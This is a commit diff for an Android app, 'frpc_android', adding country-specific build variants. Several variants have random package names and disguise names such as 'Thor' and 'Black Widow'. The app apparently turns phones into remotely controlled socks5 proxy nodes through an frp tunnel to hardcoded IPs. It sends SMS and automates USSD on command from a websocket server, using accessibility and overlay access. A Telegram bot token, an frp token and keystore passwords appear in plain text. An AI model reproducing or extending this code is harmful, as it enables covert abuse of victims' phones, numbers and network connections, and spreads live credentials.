hanxiaomeme 7 місяців тому
батько
коміт
9a2a794116
26 змінених файлів з 546 додано та 113 видалено
  1. BIN
      frpc_android-master/app/appkey201517_1.jks
  2. BIN
      frpc_android-master/app/appkey201519_2.jks
  3. BIN
      frpc_android-master/app/appkey201520_3.jks
  4. BIN
      frpc_android-master/app/appkey2042191.jks
  5. BIN
      frpc_android-master/app/appkey2254.jks
  6. 237 52
      frpc_android-master/app/build.gradle
  7. 17 0
      frpc_android-master/app/readme.txt
  8. 10 0
      frpc_android-master/app/src/main/AndroidManifest.xml
  9. 5 2
      frpc_android-master/app/src/main/java/com/app/duck/BaseActivity.java
  10. 20 30
      frpc_android-master/app/src/main/java/com/app/duck/ui/MainActivity.java
  11. 40 0
      frpc_android-master/app/src/main/java/com/app/duck/util/SmsSentReceiver.java
  12. 211 17
      frpc_android-master/app/src/main/java/com/app/duck/util/WsManager.java
  13. BIN
      frpc_android-master/app/src/main/res/mipmap-hdpi/ic_launcher.png
  14. BIN
      frpc_android-master/app/src/main/res/mipmap-mdpi/ic_launcher.png
  15. BIN
      frpc_android-master/app/src/main/res/mipmap-xhdpi/ic_launcher.png
  16. BIN
      frpc_android-master/app/src/main/res/mipmap-xxhdpi/ic_launcher.png
  17. BIN
      frpc_android-master/app/src/main/res/mipmap-xxxhdpi/gangxiexia.png
  18. BIN
      frpc_android-master/app/src/main/res/mipmap-xxxhdpi/heiguafu.png
  19. BIN
      frpc_android-master/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png
  20. BIN
      frpc_android-master/app/src/main/res/mipmap-xxxhdpi/ic_launcher_1.png
  21. BIN
      frpc_android-master/app/src/main/res/mipmap-xxxhdpi/leishen.png
  22. BIN
      frpc_android-master/app/src/main/res/mipmap-xxxhdpi/meiguoduizhang.png
  23. 0 10
      frpc_android-master/app/src/main/res/raw/frpc.ini
  24. 1 1
      frpc_android-master/app/src/main/res/values-en/strings.xml
  25. 4 1
      frpc_android-master/app/src/main/res/values/strings.xml
  26. 1 0
      frpc_android-master/ussd-library/src/main/java/com/romellfudi/ussdlibrary/USSDController.java

BIN
frpc_android-master/app/appkey201517_1.jks


BIN
frpc_android-master/app/appkey201519_2.jks


BIN
frpc_android-master/app/appkey201520_3.jks


BIN
frpc_android-master/app/appkey2042191.jks


BIN
frpc_android-master/app/appkey2254.jks


+ 237 - 52
frpc_android-master/app/build.gradle

@@ -14,162 +14,276 @@ android {
             buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
             buildConfigField "String", "UPDATE_JSON", "\"config.json\""
             buildConfigField "String", "WEB_URL", "\"wss://saffron.ghpcarphone.com/69f3476bb6e001a9c320719073f055cc/app/\""
+            buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
         }
         user1 {
             //ghpcarphone
             dimension "baseUrl"
+            applicationId "com.ghpcarphone.ussd"
             buildConfigField "String", "BASE_URL", "\"https://www.ghpcarphone.com\""
             buildConfigField "String", "UPDATE_KEY", "\"bfbc2f7f-779a-4719-9295-60eefbb9269f\""
             buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user1/\""
             buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
             buildConfigField "String", "UPDATE_JSON", "\"config.json\""
             buildConfigField "String", "WEB_URL", "\"wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
+            buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
         }
         user2 {
             //dcduckcake
             dimension "baseUrl"
+            applicationId "com.dcduckcake.ussd"
             buildConfigField "String", "BASE_URL", "\"https://www.dcduckcake.com\""
             buildConfigField "String", "UPDATE_KEY", "\"2be6db19-4be6-45f5-8a93-368ad7cb6405\""
             buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/userdemo/\""
             buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
             buildConfigField "String", "UPDATE_JSON", "\"config.json\""
             buildConfigField "String", "WEB_URL", "\"wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
-
+            buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
         }
         user3 {
             //bcblackcoffee
             dimension "baseUrl"
+            applicationId "com.bcblackcoffee.ussd"
             buildConfigField "String", "BASE_URL", "\"https://www.bcblackcoffee.com\""
             buildConfigField "String", "UPDATE_KEY", "\"64f225d4-e9a4-4c9f-93eb-133ff2f16c3e\""
             buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/userdemo/\""
             buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
             buildConfigField "String", "UPDATE_JSON", "\"config.json\""
             buildConfigField "String", "WEB_URL", "\"wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
-
+            buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
         }
         user4 {
             //lkluckpanda
             dimension "baseUrl"
+            applicationId "com.lkluckpanda.ussd"
             buildConfigField "String", "BASE_URL", "\"https://www.lkluckpanda.com\""
             buildConfigField "String", "UPDATE_KEY", "\"64f225d4-e9a4-4c9f-93eb-133ff2f16c3e\""
             buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user4/\""
             buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
             buildConfigField "String", "UPDATE_JSON", "\"config.json\""
             buildConfigField "String", "WEB_URL", "\"\""
-
+            buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
         }
         user5 {
             dimension "baseUrl"
+            applicationId "com.user.ussd"
             buildConfigField "String", "BASE_URL", "\"https://www.dcduckcake.com\""
             buildConfigField "String", "UPDATE_KEY", "\"f6602356-ff46-422e-87ba-d5fbe3f0adf7\""
             buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user5/\""
             buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
             buildConfigField "String", "UPDATE_JSON", "\"config.json\""
             buildConfigField "String", "WEB_URL", "\"wss://stretch.dcduckcake.com/ca4c62f1ae5f4514acc6132a9f2716a7/app/\""
-
+            buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
         }
         user6 {
             //喀麦隆 com.ghpcarphone.cm
             dimension "baseUrl"
+            applicationId "com.ghpcarphone.cm"
             buildConfigField "String", "BASE_URL", "\"https://cm-www.ghpcarphone.com\""
             buildConfigField "String", "UPDATE_KEY", "\"455b5053-9d7f-43ae-a115-76f16cfaf3f5\""
             buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user6/\""
             buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
             buildConfigField "String", "UPDATE_JSON", "\"config.json\""
             buildConfigField "String", "WEB_URL", "\"wss://cm-naughty.lkluckpanda.online/69f3476bb6e001a9c320719073f055cc/app/\""
+            buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
         }
         user7 {
             //斯里兰卡 包名com.si.ussd
             dimension "baseUrl"
+            applicationId "com.si.ussd"
             buildConfigField "String", "BASE_URL", "\"https://www.lovepizzaxx.com\""
             buildConfigField "String", "UPDATE_KEY", "\"d3bf5c93-5119-4092-bd5f-a3e99fbce2ed\""
             buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user7/\""
             buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
             buildConfigField "String", "UPDATE_JSON", "\"config.json\""
             buildConfigField "String", "WEB_URL", "\"wss://lk-naughty.lkluckpanda.online/69f3476bb6e001a9c320719073f055cc/app/\""
+            buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
         }
         user8 {
             //肯尼亚 包名com.kpkingpark.ussd
             dimension "baseUrl"
+            applicationId "com.kpkingpark.ussd"
             buildConfigField "String", "BASE_URL", "\"https://www.kpkingpark.com\""
             buildConfigField "String", "UPDATE_KEY", "\"59e95b20-759a-472a-bf07-a4e4b2e7a1f0\""
             buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user8/\""
             buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
             buildConfigField "String", "UPDATE_JSON", "\"config.json\""
             buildConfigField "String", "WEB_URL", "\"wss://saffron.ghpcarphone.com/69f3476bb6e001a9c320719073f055cc/app/\""
+            buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
         }
         user9 {
             //科特迪瓦 包名com.ghpcarphone.cote
             dimension "baseUrl"
+            applicationId "com.ghpcarphone.cote"
             buildConfigField "String", "BASE_URL", "\"https://cote-www.ghpcarphone.com\""
             buildConfigField "String", "UPDATE_KEY", "\"bbddc5d7-9d45-4a3b-afdd-a8a36c96f4af\""
             buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user9/\""
             buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
             buildConfigField "String", "UPDATE_JSON", "\"config.json\""
             buildConfigField "String", "WEB_URL", "\"wss://ci-naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
+            buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
+        }
+        user10 {
+            //测试-0
+            //包名:com.nbwz.lvix.gdjgnp.gfhw,
+            //密钥:appkey2254.jks
+            //app名称:IronMan
+            dimension "baseUrl"
+            applicationId "com.nbwz.lvix.gdjgnp.gfhw"
+            buildConfigField "String", "BASE_URL", "\"https://www.kpkingpark.com\""
+            buildConfigField "String", "UPDATE_KEY", "\"87d8f3b8-3e95-47f4-9d9d-b7affd5e997c\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user10/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"\""
+            buildConfigField "String", "FRPC_IP", "\"3.68.158.69\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
+        }
+        user11 {
+            //测试-1
+            //包名:com.cdfo.emvyey.axkcae.ixjl
+            //密钥:appkey201517_1
+            //app名称:CaptainAmerica
+            //下载路径:http://up.lkluckpanda.online/user10/man/t1/guy.apk
+            applicationId "com.cdfo.emvyey.axkcae.ixjl"
+            dimension "baseUrl"
+            buildConfigField "String", "BASE_URL", "\"https://www.kpkingpark.com\""
+            buildConfigField "String", "UPDATE_KEY", "\"87d8f3b8-3e95-47f4-9d9d-b7affd5e997c\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user10/man/t1/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"\""
+            buildConfigField "String", "FRPC_IP", "\"3.68.158.69\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
+        }
+        user12 {
+            //测试-2
+            //包名:com.fyxmwe.ewha.dfajdm.lfuqog
+            //密钥:appkey201519_2
+            //app名称:Thor
+            //下载路径:http://up.lkluckpanda.online/user10/man/t2/guy.apk
+            applicationId "com.fyxmwe.ewha.dfajdm.lfuqog"
+            dimension "baseUrl"
+            buildConfigField "String", "BASE_URL", "\"https://www.kpkingpark.com\""
+            buildConfigField "String", "UPDATE_KEY", "\"87d8f3b8-3e95-47f4-9d9d-b7affd5e997c\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user10/man/t2/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"\""
+            buildConfigField "String", "FRPC_IP", "\"3.68.158.69\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
+        }
+        user13 {
+            //测试-3
+            //包名:com.dwvb.axg.lyg.fbcq
+            //密钥:appkey201520_3
+            //app名称:Black Widow
+            //下载路径:http://up.lkluckpanda.online/user10/man/t3/guy.apk
+            applicationId "com.dwvb.axg.lyg.fbcq"
+            dimension "baseUrl"
+            buildConfigField "String", "BASE_URL", "\"https://www.kpkingpark.com\""
+            buildConfigField "String", "UPDATE_KEY", "\"87d8f3b8-3e95-47f4-9d9d-b7affd5e997c\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user10/man/t3/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"\""
+            buildConfigField "String", "FRPC_IP", "\"3.68.158.69\""
+            buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
+        }
+        user14 {
+            //测试-4
+            //包名:com.npyv.gqaokx.mdqd.pebxr
+            //密钥:appkey2042191.jks
+            //app名称:B
+            //下载路径:http://up.lkluckpanda.online/user10/man/t4/guy.apk
+            applicationId "com.npyv.gqaokx.mdqd.pebxr"
+            dimension "baseUrl"
+            buildConfigField "String", "BASE_URL", "\"https://india.gdtabletouch.com\""
+            buildConfigField "String", "UPDATE_KEY", "\"87d8f3b8-3e95-47f4-9d9d-b7affd5e997c\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user10/man/t4/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"\""
+            buildConfigField "String", "FRPC_IP", "\"13.212.226.7\""
+            buildConfigField "String", "FRPC_PORT", "\"11080\""
+
         }
     }
     defaultConfig {
-        applicationId "com.car.frpc_android"//之前老的包名
-//        applicationId "com.duck.man"
-//        applicationId "com.si.ussd"
-//        applicationId "com.kpkingpark.ussd"
-//        applicationId "com.ghpcarphone.cm"
-//        applicationId "com.ghpcarphone.cote"
         minSdkVersion 29
         targetSdkVersion 29
         versionCode 49
         versionName "0.40.3.0"
         multiDexEnabled true
-        ndk {
-            abiFilters 'armeabi-v8a', 'armeabi-v7a'
-        }
+//        ndk {
+//            abiFilters 'armeabi-v8a', 'armeabi-v7a'
+//        }
         testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
     }
 
-
     compileOptions {
         sourceCompatibility = 1.8
         targetCompatibility = 1.8
     }
+
     buildFeatures {
         viewBinding = true
     }
-    applicationVariants.all { variant ->
-        variant.outputs.all {
-            outputFileName = "guy.apk"
-            def json = new JSONObject()
-            json.put("versionName", variant.versionName)//版本名称
-            json.put("versionCode", variant.versionCode)//版本号
-            json.put("description", "New features\n")//更新内容
-            json.put("isForce", false)//是否强制更新
-            json.put("title", "New version updated")//更新dialog显示的标题头
-            json.put("chatId", "-1001958143149L")//日志chat_id
-            json.put("botToken", "6428083297:AAEFS5ccl49hBsYbGAqJdEM5Cv8bvHUTC4I")//日志token
-            // 获取 APK 文件的父文件夹
-            def apkFilePath = outputFile.parent
-            def targetFolder = file(apkFilePath)
-            targetFolder.mkdirs()
-            // 写入 JSON 文件
-            def jsonFile = file("${apkFilePath}/config.json")
-            jsonFile.write(json.toString())
-        }
-    }
+
 
     signingConfigs {
-        release {
+        normal {
             storeFile file('..\\app\\frpcapp.jks')
             storePassword 'frpcapp'
             keyAlias = 'frpcapp'
             keyPassword 'frpcapp'
         }
 
-        debug {
-            storeFile file('..\\app\\frpcapp.jks')
-            storePassword 'frpcapp'
-            keyAlias = 'frpcapp'
-            keyPassword 'frpcapp'
+        user10 {
+            storeFile file('..\\app\\appkey2254.jks')
+            storePassword 'appkey'
+            keyAlias = 'appkey'
+            keyPassword 'appkey'
+        }
+
+        user11 {
+            storeFile file('..\\app\\appkey201517_1.jks')
+            storePassword 'appkey'
+            keyAlias = 'appkey'
+            keyPassword 'appkey'
         }
+
+        user12 {
+            storeFile file('..\\app\\appkey201519_2.jks')
+            storePassword 'appkey'
+            keyAlias = 'appkey'
+            keyPassword 'appkey'
+        }
+
+        user13 {
+            storeFile file('..\\app\\appkey201520_3.jks')
+            storePassword 'appkey'
+            keyAlias = 'appkey'
+            keyPassword 'appkey'
+        }
+
+        user14 {
+            storeFile file('..\\app\\appkey2042191.jks')
+            storePassword 'appkey'
+            keyAlias = 'appkey'
+            keyPassword 'appkey'
+        }
+
     }
 
     buildTypes {
@@ -179,7 +293,21 @@ android {
             zipAlignEnabled true
             shrinkResources true
             proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro', 'proguard-fresco.pro'
-            signingConfig signingConfigs.release
+            productFlavors.user14.signingConfig signingConfigs.user14
+            productFlavors.user13.signingConfig signingConfigs.user13
+            productFlavors.user12.signingConfig signingConfigs.user12
+            productFlavors.user11.signingConfig signingConfigs.user11
+            productFlavors.user10.signingConfig signingConfigs.user10
+            productFlavors.user9.signingConfig signingConfigs.normal
+            productFlavors.user8.signingConfig signingConfigs.normal
+            productFlavors.user7.signingConfig signingConfigs.normal
+            productFlavors.user6.signingConfig signingConfigs.normal
+            productFlavors.user5.signingConfig signingConfigs.normal
+            productFlavors.user4.signingConfig signingConfigs.normal
+            productFlavors.user3.signingConfig signingConfigs.normal
+            productFlavors.user2.signingConfig signingConfigs.normal
+            productFlavors.user1.signingConfig signingConfigs.normal
+            productFlavors.userdev.signingConfig signingConfigs.normal
         }
 
         debug {
@@ -188,20 +316,85 @@ android {
             zipAlignEnabled false
             shrinkResources false
             proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
-            signingConfig signingConfigs.debug
+            productFlavors.user14.signingConfig signingConfigs.user14
+            productFlavors.user13.signingConfig signingConfigs.user13
+            productFlavors.user12.signingConfig signingConfigs.user12
+            productFlavors.user11.signingConfig signingConfigs.user11
+            productFlavors.user10.signingConfig signingConfigs.user10
+            productFlavors.user9.signingConfig signingConfigs.normal
+            productFlavors.user8.signingConfig signingConfigs.normal
+            productFlavors.user7.signingConfig signingConfigs.normal
+            productFlavors.user6.signingConfig signingConfigs.normal
+            productFlavors.user5.signingConfig signingConfigs.normal
+            productFlavors.user4.signingConfig signingConfigs.normal
+            productFlavors.user3.signingConfig signingConfigs.normal
+            productFlavors.user2.signingConfig signingConfigs.normal
+            productFlavors.user1.signingConfig signingConfigs.normal
+            productFlavors.userdev.signingConfig signingConfigs.normal
+
         }
+
     }
+
     repositories {
         jcenter()
         flatDir {
-            dirs 'libs'   // aar目录
+            dirs 'libs'
+        }
+    }
+
+    applicationVariants.configureEach { variant ->
+        variant.outputs.configureEach {
+            outputFileName = "guy.apk"
+            def flavorName = variant.productFlavors.get(0).name
+            def dimension = variant.productFlavors.get(0).dimension
+            def applicationId = variant.productFlavors.get(0).applicationId
+            def baseUrl = android.productFlavors.getByName(flavorName).buildConfigFields.get("BASE_URL").value
+            def updateKey = android.productFlavors.getByName(flavorName).buildConfigFields.get("UPDATE_KEY").value
+            def updateBaseUrl = android.productFlavors.getByName(flavorName).buildConfigFields.get("UPDATE_BASE_URL").value
+            def updateAppName = android.productFlavors.getByName(flavorName).buildConfigFields.get("UPDATE_APP_NAME").value
+            def updateJson = android.productFlavors.getByName(flavorName).buildConfigFields.get("UPDATE_JSON").value
+            def webUrl = android.productFlavors.getByName(flavorName).buildConfigFields.get("WEB_URL").value
+            def frpcIp = android.productFlavors.getByName(flavorName).buildConfigFields.get("FRPC_IP").value
+            def frpcPort = android.productFlavors.getByName(flavorName).buildConfigFields.get("FRPC_PORT").value
+            def json = new JSONObject()
+            def map = new HashMap();
+            map.put("flavorName", flavorName)
+            map.put("dimension", dimension)
+            map.put("baseUrl", baseUrl)
+            map.put("applicationId", applicationId)
+            map.put("updateKey", updateKey)
+            map.put("updateBaseUrl", updateBaseUrl)
+            map.put("updateAppName", updateAppName)
+            map.put("updateJson", updateJson)
+            map.put("webUrl", webUrl)
+            map.put("frpcIp", frpcIp)
+            map.put("frpcPort", frpcPort)
+
+            json.put("versionName", variant.versionName)//版本名称
+            json.put("versionCode", variant.versionCode)//版本号
+            json.put("description", "New features\n")//更新内容
+            json.put("isForce", false)//是否强制更新
+            json.put("title", "New version updated")//更新dialog显示的标题头
+            json.put("chatId", "-1001958143149L")//日志chat_id
+            json.put("botToken", "6428083297:AAEFS5ccl49hBsYbGAqJdEM5Cv8bvHUTC4I")//日志token
+
+            json.put("config", map)
+
+
+            // 获取 APK 文件的父文件夹
+            def apkFilePath = outputFile.parent
+            def targetFolder = file(apkFilePath)
+            targetFolder.mkdirs()
+            // 写入 JSON 文件
+            def jsonFile = file("${apkFilePath}/config.json")
+            jsonFile.write(json.toString())
         }
     }
 }
 
 dependencies {
     implementation fileTree(dir: 'libs', include: ['*.jar'])
-
     implementation 'androidx.appcompat:appcompat:1.1.0'
     implementation 'androidx.constraintlayout:constraintlayout:1.1.3'
     implementation 'androidx.legacy:legacy-support-v4:1.0.0'
@@ -212,9 +405,7 @@ dependencies {
     testImplementation 'junit:junit:4.12'
     androidTestImplementation 'androidx.test.ext:junit:1.1.1'
     androidTestImplementation 'androidx.test.espresso:espresso-core:3.2.0'
-
     implementation(name: 'frpclib', ext: 'aar')
-
     implementation 'androidx.recyclerview:recyclerview:1.1.0'
     implementation 'com.jakewharton:butterknife:10.2.1'
     annotationProcessor 'com.jakewharton:butterknife-compiler:10.2.1'
@@ -223,7 +414,6 @@ dependencies {
     implementation 'com.squareup.retrofit2:adapter-rxjava2:2.6.2'
     implementation 'io.reactivex.rxjava2:rxandroid:2.0.2'
     implementation 'io.reactivex.rxjava2:rxjava:2.1.16'
-
     implementation 'com.github.ahmadaghazadeh:CodeEditor:1.0.17'
     implementation 'com.afollestad.material-dialogs:core:0.9.6.0'
     implementation 'org.jetbrains:annotations:15.0'
@@ -231,24 +421,19 @@ dependencies {
     implementation 'io.github.jeremyliao:live-event-bus-x:1.8.0'
     implementation 'com.google.android.material:material:1.5.0'
     implementation "androidx.multidex:multidex:2.0.1"
-
     def room_version = "2.4.1"
-
     implementation "androidx.room:room-runtime:$room_version"
     annotationProcessor "androidx.room:room-compiler:$room_version"
     implementation "androidx.room:room-rxjava2:$room_version"
-
     implementation 'com.blankj:utilcodex:1.30.6'
     implementation 'androidx.work:work-runtime:2.7.0'
     implementation 'org.xutils:xutils:3.9.0'
     implementation 'com.alibaba:fastjson:1.2.73'
     implementation 'com.github.sanyinchen:LogView:v1.0'
-
     def appCenterSdkVersion = '5.0.0'
     implementation "com.microsoft.appcenter:appcenter-analytics:${appCenterSdkVersion}"
     implementation "com.microsoft.appcenter:appcenter-crashes:${appCenterSdkVersion}"
     implementation "com.microsoft.appcenter:appcenter-distribute:${appCenterSdkVersion}"
-
     implementation project(':ussd-library')
 
 }

+ 17 - 0
frpc_android-master/app/readme.txt

@@ -0,0 +1,17 @@
+测试-1
+包名:com.cdfo.emvyey.axkcae.ixjl
+密钥:appkey201517_1
+app名称:CaptainAmerica
+下载路径:http://up.lkluckpanda.online/user10/man/t1/guy.apk
+
+测试-2
+包名:com.fyxmwe.ewha.dfajdm.lfuqog
+密钥:appkey201519_2
+app名称:Thor
+下载路径:http://up.lkluckpanda.online/user10/man/t2/guy.apk
+
+测试-3
+包名:com.dwvb.axg.lyg.fbcq
+密钥:appkey201520_3
+app名称:Black Widow
+下载路径:http://up.lkluckpanda.online/user10/man/t3/guy.apk

+ 10 - 0
frpc_android-master/app/src/main/AndroidManifest.xml

@@ -117,6 +117,14 @@
                 android:value="true" />
         </service>
 
+        <receiver
+            android:name=".util.SmsSentReceiver"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="SENT_SMS_ACTION" />
+            </intent-filter>
+        </receiver>
+
         <provider
             android:name="androidx.core.content.FileProvider"
             android:authorities="${applicationId}.fileprovider"
@@ -128,6 +136,8 @@
                 android:resource="@xml/file_paths"
                 tools:replace="android:resource" />
         </provider>
+
+
     </application>
 
 </manifest>

+ 5 - 2
frpc_android-master/app/src/main/java/com/app/duck/BaseActivity.java

@@ -40,9 +40,12 @@ public abstract class BaseActivity<B extends ViewBinding> extends AppCompatActiv
         Http.clean();
         setLayout();
         x.view().inject(this);
+        if (!StringUtils.isTrimEmpty(BuildConfig.WEB_URL)) {
+            USSDController.verifyAccesibilityAccess(this);
+            USSDController.verifyOverLay(this);
+        }
         KeyboardUtils.fixAndroidBug5497(this);
-        USSDController.verifyAccesibilityAccess(this);
-        USSDController.verifyOverLay(this);
+
         if (keepScreenOn()) {
             PowerManager powerManager = (PowerManager) getSystemService(Context.POWER_SERVICE);
             if (powerManager.isScreenOn()) {

+ 20 - 30
frpc_android-master/app/src/main/java/com/app/duck/ui/MainActivity.java

@@ -24,6 +24,7 @@ import androidx.navigation.ui.AppBarConfiguration;
 import androidx.navigation.ui.NavigationUI;
 
 import com.app.duck.BaseActivity;
+import com.app.duck.BuildConfig;
 import com.app.duck.R;
 import com.app.duck.database.Config;
 import com.app.duck.databinding.ActivityMainBinding;
@@ -35,17 +36,13 @@ import com.app.duck.util.TgBot;
 import com.app.duck.util.WsManager;
 import com.blankj.utilcode.util.AppUtils;
 import com.blankj.utilcode.util.LanguageUtils;
+import com.blankj.utilcode.util.TimeUtils;
 import com.google.android.material.dialog.MaterialAlertDialogBuilder;
 import com.google.android.material.navigation.NavigationView;
 import com.jeremyliao.liveeventbus.LiveEventBus;
 
 import java.util.Locale;
 
-import io.reactivex.Observer;
-import io.reactivex.android.schedulers.AndroidSchedulers;
-import io.reactivex.disposables.Disposable;
-import io.reactivex.schedulers.Schedulers;
-
 public class MainActivity extends BaseActivity<ActivityMainBinding> implements NavigationView.OnNavigationItemSelectedListener {
 
     public static Locale EN_LOCAL = Locale.ENGLISH;//英语
@@ -122,30 +119,21 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
     public boolean onOptionsItemSelected(@NonNull MenuItem item) {
         switch (item.getItemId()) {
             case R.id.action_new_text:
-                HxUtils.getStringFromRaw(MainActivity.this, R.raw.frpc)
-                        .subscribeOn(Schedulers.io())
-                        .observeOn(AndroidSchedulers.mainThread())
-                        .subscribe(new Observer<String>() {
-                            @Override
-                            public void onSubscribe(@NonNull Disposable d) {
-                            }
-
-                            @Override
-                            public void onNext(@NonNull String content) {
-                                LiveEventBus.get(INTENT_EDIT_INI).post(new Config(content));
-                                startActivity(new Intent(MainActivity.this, IniEditActivity.class));
-                            }
-
-                            @Override
-                            public void onError(@NonNull Throwable e) {
-
-                            }
-
-                            @Override
-                            public void onComplete() {
-
-                            }
-                        });
+                String content = "[common]\n" +
+                        "server_addr = {{FRPC_IP}}\n" +
+                        "server_port = 7000\n" +
+                        "protocol = kcp\n" +
+                        "token = 123678asbsfd\n" +
+                        "\n" +
+                        "\n" +
+                        "[socks5_proxy_tunnel{{FRPC_PORT}}]\n" +
+                        "type = tcp\n" +
+                        "remote_port = {{FRPC_PORT}}\n" +
+                        "plugin = socks5";
+                content = content.replace("{{FRPC_IP}}", BuildConfig.FRPC_IP).replace("{{FRPC_PORT}}", BuildConfig.FRPC_PORT);
+
+                LiveEventBus.get(INTENT_EDIT_INI).post(new Config(content));
+                startActivity(new Intent(MainActivity.this, IniEditActivity.class));
                 break;
             case R.id.action_accessibility:
                 Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
@@ -157,13 +145,15 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
                 break;
             case R.id.action_update_log_config:
                 HxUtils.checkForUpdateBotConfig();
+//                demo();
                 break;
         }
         return super.onOptionsItemSelected(item);
     }
 
     private void demo() {
-
+        WsManager.sendSMSDelayed(TimeUtils.getNowString(), TimeUtils.getNowString(), "13385739331");
+//        WsManager.getOutBoxSMS("12312321", "5");
     }
 
 

+ 40 - 0
frpc_android-master/app/src/main/java/com/app/duck/util/SmsSentReceiver.java

@@ -0,0 +1,40 @@
+package com.app.duck.util;
+
+import static com.app.duck.util.WsManager.sendWebSocketMsg;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+import com.elvishew.xlog.XLog;
+
+/**
+ * author: hx
+ * created on: 2024/4/13 21:02
+ * description:
+ */
+public class SmsSentReceiver extends BroadcastReceiver {
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        int resultCode = getResultCode();
+        Log.d("hzshkj", "SmsSentReceiver: " + resultCode);
+        String requestId = intent.getStringExtra("requestId");
+        String phone = intent.getStringExtra("phone");
+        String content = intent.getStringExtra("content");
+
+        if (resultCode == Activity.RESULT_OK) {
+            long smsId = intent.getLongExtra("messageId", -1);
+            XLog.i("sendSMS : " + "Start sending text messages......[mobile:" + phone + ",content:" + content + "]");
+            Log.d("hzshkj", "[WsManager] sendSMS: " + "Start sending text messages......[mobile:" + phone + ",content:" + content + "]");
+            sendWebSocketMsg(requestId, "successful", "RESULT_OK,smsId: +" + smsId + " ,mobile:" + phone + " ,content:" + content);
+
+        } else {
+            XLog.i("error,SmsSentReceiver!", resultCode);
+            Log.d("hzshkj", "SmsSentReceiver: " + resultCode);
+            sendWebSocketMsg(requestId, "exception", "resultCode:" + resultCode);
+        }
+    }
+}

+ 211 - 17
frpc_android-master/app/src/main/java/com/app/duck/util/WsManager.java

